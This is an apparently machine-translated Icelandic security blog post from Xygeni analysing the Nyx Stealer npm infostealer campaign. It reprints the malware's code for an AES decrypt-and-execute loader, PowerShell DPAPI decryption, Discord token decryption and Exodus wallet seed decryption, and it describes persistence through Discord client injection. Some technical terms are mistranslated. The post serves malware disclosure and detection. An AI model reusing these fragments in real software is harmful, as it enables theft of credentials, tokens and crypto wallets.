TL; DR
Öryggisrannsóknarteymið hjá Xygeni benti á flókna npm upplýsingaþjófsherferð sem var send með tveimur illgjörnum pakka: huggakerfi og selfbot-lofy.
Nýjasta útgáfan (consolelofy@1.3.0) felur inn 216KB AES-dulkóðaða gagnamagn sem afkóðar við keyrslu og keyrir með vm.runInNewContext()Þar sem illgjarn rökfræði er fullkomlega dulkóðuð geta kyrrstæðir skannar sem reiða sig á strengjaskoðun ekki fylgst með hegðun hennar fyrr en á keyrslutíma.
Þegar það hefur verið afkóðað, er farmurinn, með innri vörumerkjum Nyx Stealer, markmið:
- Discord auðkenningarmerki
- 50+ verslanir fyrir vafraupplýsingar
- 90+ veskisviðbætur fyrir dulritunargjaldmiðla
- Roblox, Instagram, Spotify, Steam, Telegram og TikTok lotur
- Þrautseigja Discord skrifborðsforrits
Allar 20 útgáfur af báðum pökkunum voru tilkynntar og staðfestar skaðlegar.
Tæknileg yfirlit yfir þennan npm upplýsingaþjóf
Ólíkt hefðbundnum spilliforritum sem koma við uppsetningu, byggir þessi herferð á afturkreistingur afkóðunarlíkan.
Það eru:
- Engin illgjarn
preinstallorpostinstallhooks - Engin augljós netköll við uppsetningu
- Engin rökfræði fyrir söfnun skilríkja í látlausum texta
Notkunin virkjast þegar einingin er flutt inn. Allt illgjarna innihaldið er dulkóðað og birtist aðeins í minninu við keyrslu.
Þessi hönnun kemur sérstaklega í veg fyrir uppgötvun við uppsetningu pakkans.
Hvernig þessi npm upplýsingaþjófur keyrir í raun og veru
Áður en við greinum hvað Nyx Stealer stelur þurfum við að skilja hvernig það keyrir.
Illgjarn rökfræði í þessum npm upplýsingaþjófi fylgir stöðugu mynstri:
Lítill hleðslutæki afkóðar stórt dulkóðað farm og keyrir það kraftmikið innan Node.js sýndarvélarsamhengis.
Þessi hönnun er vísvitandi. Árásarmaðurinn er ekki að fela virkni á bak við dulúð eingöngu, heldur... að fjarlægja skaðlegan kóða úr stöðugri sýnileika alveg.
Framkvæmdalíkan á háu stigi
Á háu stigi gerir umbúðirnar fjóra hluti:
- Leiðir AES lykil úr harðkóðuðu lykilorði með SHA-256
- Dulkóðar stóran sexhyrningskóðaðan dulkóðaðan texta með AES-256-CBC
- Keyrir dulkóðað JavaScript með því að nota
vm.runInNewContext() - Býður upp á sandkassa sem afhjúpar enn öflug keyrslutímafrumkvæði
Yfirlit yfir kjarnatækni
| Component | Stillingar / Gildi |
|---|---|
| Reiknirit | AES-256-CBC |
| Key Afleiðsla | SHA-256 (lykilorð) |
| Upphafsvektor (IV) | 16 bæti af 0x00 |
| Framkvæmd | vm.runInNewContext(dulkóðað, sandkassi) |
Mikilvægast er að sandkassinn fer í gegnum:
requireprocessBuffer- tímamælar
- útflutningur eininga
Þetta þýðir að afkóðaða farmurinn heldur fullum getu til að:
- Hrygningarferli
- Lesa og skrifa skrár
- Hringja símtöl úr netkerfinu
- Breyta staðbundnum forritum
Þetta er ekki takmörkuð sýndarvél. Þetta er sýndarvél sem notuð er sem aftökutrampólín.
Keyrslutíma dulkóðunarmynstur (kjarna keyrsluferli)
Hleðslutækið er lítið.
Illgjarn líkami er það ekki.
Hér að neðan er framkvæmdamynstrið sem er að finna í pakkanum:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } Hvers vegna þetta skiptir máli
Afkóðaða farmurinn:
- Er ekki eru til í látlausum texta innan npm pakkans
- Er ósýnilegt fyrir einfalda
grepeða kyrrstæð strengjaskönnun - Birtist aðeins í minni við keyrslu
- Keyrir með fullum keyrslutímamöguleikum Node
Þessi samsetning AES + sýndarvéla keyrslu er sterk hegðunarvísir um Upplýsingaþjófur frá NPM reynir að komast hjá stöðluðum skoðunum.
Með öðrum orðum:
Ef þú skannar upprunatré pakkans sérðu engan þjóf.
Þú sérð dulkóðara.
Hvað gerist eftir afkóðun
Þegar Nyx Stealer hefur verið keyrt, hleypir hann af stokkunum samsíða gagnasöfnunarbylgjum.
Bylgja 1: Útdráttur vafraupplýsinga
Spilliforritið:
- Sækir niður Python keyrslutíma frá NuGet CDN
- Setur upp dulritunarbókasöfn
- Dregur út Chromium-byggðar persónuskilríkisgeymslur
- Afkóðar DPAPI-varið leyndarmál
Í stað þess að setja saman innfæddar bindingar notar það PowerShell til að kalla beint á Windows DPAPI.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } Þessi nálgun:
- Forðast samantektarbrot
- Notar innbyggða Windows dulritunar-API
- Blandast inn í stjórnunartæki
Þetta er afkóðun skilríkja á stýrikerfisstigi, ekki skrapun.
Bylgja 2: Afkóðun Discord-tákna
Þjófurinn er meðvitaður um samskiptareglur. Hann skilur dulkóðað táknsnið Discord.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } Rekstrarflæði:
- Sæktu aðallykilinn úr Discord
Local State - Afkóða aðallykil með DPAPI
- Afkóða AES-GCM táknbletti
- Staðfesta tákn gegn Discord API
- Auðgaðu með Nitro, merkjum, greiðsluupplýsingum
Þetta er ekki almenn skilríkiseyðing. Þetta er samskiptareglur sem stýra loturæningjum.
Bylgja 3: Markmið dulritunargjaldmiðlaveskis
Upplýsingastjórinn npm telur upp:
- 90+ viðbætur fyrir vafraveski
- 27 skrifborðsveski
- Leiðir fyrir kalt veski
- Exodus fræskrár
Dæmi um tilraun til að afkóða fræ:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } Ef það tekst er veskisbrotið tafarlaust og óafturkræft.
Þetta táknar verðmætasta tekjuöflunarvektor herferðarinnar.
Varanleiki í gegnum Discord Desktop Injection
Eftir að hafa safnað innskráningarupplýsingum reynir Nyx Stealer að viðhalda varanleika með því að breyta staðbundnum stillingum. Discord viðskiptavina.
Skotmark:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js Rekstrarröð
Upplýsingastuldurinn framkvæmir eftirfarandi skref:
- Lýtur keyrandi Discord ferlum
- Staðsetur uppsettar Discord útgáfur (Stable, Canary, PTB)
- Yfirskrifar
discord_desktop_core/index.js - Sprautar inn veftengingarrökfræði sem árásaraðili stýrir
- Endurræsir Discord
Þetta tryggir að framtíðar Discord-lotur leki sjálfkrafa nýjum auðkenningarmerkjum.
Mikilvægt er að hafa í huga að þessi viðvarandi aðferð byggir ekki á áætluðum verkefnum eða breytingum á skrásetningunni. Hún nýtir sér kóðabreytingar á forritastigi, sem er leynilegri aðferð.
Jafnvel þótt skaðlegi npm pakkinn sé síðar fjarlægður, þá er Discord viðskiptavinurinn enn í hættu.
Tæknilegur samanburður: Lögmætur Selfbot vs. npm Infostealer
| Component | Lögmætt bókasafn | Upplýsingastjófur Nyx npm |
|---|---|---|
| dulkóðun | ekkert | Fullt AES-dulkóðað farm |
| Keyrslutíma sýndarvél | Ekki krafist | vm.runInNewContext framkvæmd |
| Aðgangur að skilríkjum | Aðeins Discord API | Vafri, veski, DPAPI |
| Utanaðkomandi niðurhal | Nr | Keyrslutími Python í gegnum NuGet |
| Þrávirkni | Nr | Innspýting Discord-viðskiptavinar |
| Tekjuöflun | Sjálfvirkni spjallþjóna | Endursala skilríkja |
Dulkóðunarlagið eitt og sér aðskilur þessa herferð frá dæmigerðri opinni hugbúnaðargaffli.
Lögmætur Discord sjálfsþjónn hefur enga ástæðu til að dulkóða allan kóðagrunn sinn, ræsa PowerShell til að fá aðgang að DPAPI, hlaða niður ytri keyrslutíma eða breyta innri stillingum skjáborðsforrita. Þegar þessir eiginleikar birtast innan ósjálfstæðis sem fullyrðir að sjálfvirkni Discord-samskipta verður ómögulegt að hunsa ósamræmið í byggingarlistinni.
Frá rannsóknarsjónarmiði skilur þessi npm upplýsingaþjófur eftir sig spor á mörgum lögum. Hins vegar eru áreiðanlegustu vísbendingarnar ekki harðkóðaðar vefslóðir eða sértækar skráarslóðir, þar sem þær geta breyst milli útgáfa. Þess í stað eru varanlegu merkin uppbyggð.
Á pakkastigi er sterkasta rauða fáninn samsetningin af stórum dulkóðuðum farmi og keyrslutíma afkóðunarumbúðum sem keyrir strax í gegnum vm.runInNewContext()Þó að dulkóðun ein og sér sé ekki í eðli sínu illgjarn, þá er notkun AES-afkóðunar og síðan keyrslu á virkri sýndarvél innan Discord-gagnpakka afar óeðlileg.
Á hýsingarstigi eru grunsamleg mynstur meðal annars óvænt DPAPI-afkóðunarvirkni, ferli sem koma upp úr Node.js-tengdum samhengi og breytingar á staðbundnum forritaskrám sem bókasöfn þriðja aðila ættu aldrei að breyta. Á sama hátt, á netlaginu, eru útleiðandi webhook-stíl samskipti sem hefjast af þróunartengdri tengdri tengingu annað þýðingarmikið frávik.
Með öðrum orðum, greiningaryfirborðið er ekki ein vísbending um ógn. Það er fylgni dulkóðunar, keyrslutíma, aðgangs að skilríkjum og viðvarandi hegðunar sem leiðir í ljós ógnina.
Greining og mótvægisaðgerðir með Xygeni
Þessi npm upplýsingaþjófur var auðkenndur af Viðvörun Xygeni um spilliforrit (MEW) með lagskiptri hegðunarfylgni frekar en einfaldri undirskriftarpörun.
Í stað þess að leita að þekktum illgjörnum strengjum, metur MEW uppbyggingarfrávik í öllu upprunatrénu. Í þessu tilviki kom uppgötvunin fram með samruna nokkurra merkja: innbyggðri AES afkóðunarrútínu í inngangspunkti einingarinnar, tafarlausri keyrslu innan sýndarvélasamhengis og greinilegri ósamræmi milli getu og ásetnings.
Mikilvægt er að hafa í huga að engin þessara merkja eitt og sér sannar illvilja. Hins vegar, þegar þau eru greind saman, afhjúpa þau tilraun til að fela hegðun á keyrslutíma. Þessi lagskipta nálgun dregur verulega úr fölskum jákvæðum niðurstöðum og greinir á sama tíma ógnir í framboðskeðjunni sem eru mjög áreiðanlegar.
Ennfremur sýnir þetta dæmi hvers vegna skoðun á uppsetningartíma ein og sér er ekki nægjanleg. Illgjarn rökfræði er ekki að finna í líftímaforskriftum. Hún virkjast aðeins eftir að einingin hleðst inn og verður aðeins sýnileg þegar hún er afkóðuð í minni. Þess vegna krefst árangursrík vörn dulkóðunarmeðvitaðrar greiningar, greiningar á hegðunarmynstrum og stöðugrar eftirlits með ósjálfstæði umfram uppsetningaratburði.
Fjarlæging skrásetningar er viðbragðsleg. Greining sem er meðvituð um keyrslutíma er fyrirbyggjandi.
Af hverju þessi npm upplýsingaþjófur skiptir máli
Nyx Stealer táknar skipulagslega þróun í npm-byggðri spilliforritum.
Sögulega séð treystu mörg illgjarn forrit á sýnileg forskriftir á uppsetningartíma eða augljósa endapunkta fyrir aðgangsheimildir. Þessi herferð dulkóðar hins vegar gagnamagn sitt, frestar keyrslu til keyrslutíma, nýtir sér lögmæt stýrikerfis-API og kemur á stöðugleika innan traustra forrita.
Þar af leiðandi þarf árásaraðilinn ekki að nýta sér npm innviðina sjálfa. Í staðinn tekst árásin vegna þess að uppsetning á ósjálfstæði gefur til kynna traust. Forritarar gera ráð fyrir að innflutningur á bókasafni sé örugg aðgerð, sérstaklega þegar það birtist sem sennileg fork af vinsælu tóli.
Þegar vistkerfi halda áfram að vaxa og gafflar fjölga sér, verður þessi óbeina traustmörk sífellt aðlaðandi árásarflötur. Þess vegna krefst varnar gegn nútíma npm upplýsingaþjófum að þekkja byggingarmynstur frekar en að leita að kyrrstæðum strengjum.
Að lokum styrkir þessi herferð mikilvægan lærdóm í software supply chain securityHættulegustu ógnirnar eru ekki þær sem virðast illgjarnar við fyrstu sýn, heldur þær sem virðast byggingarlega lögmætar þar til keyrslutími leiðir í ljós raunverulega hegðun þeirra.




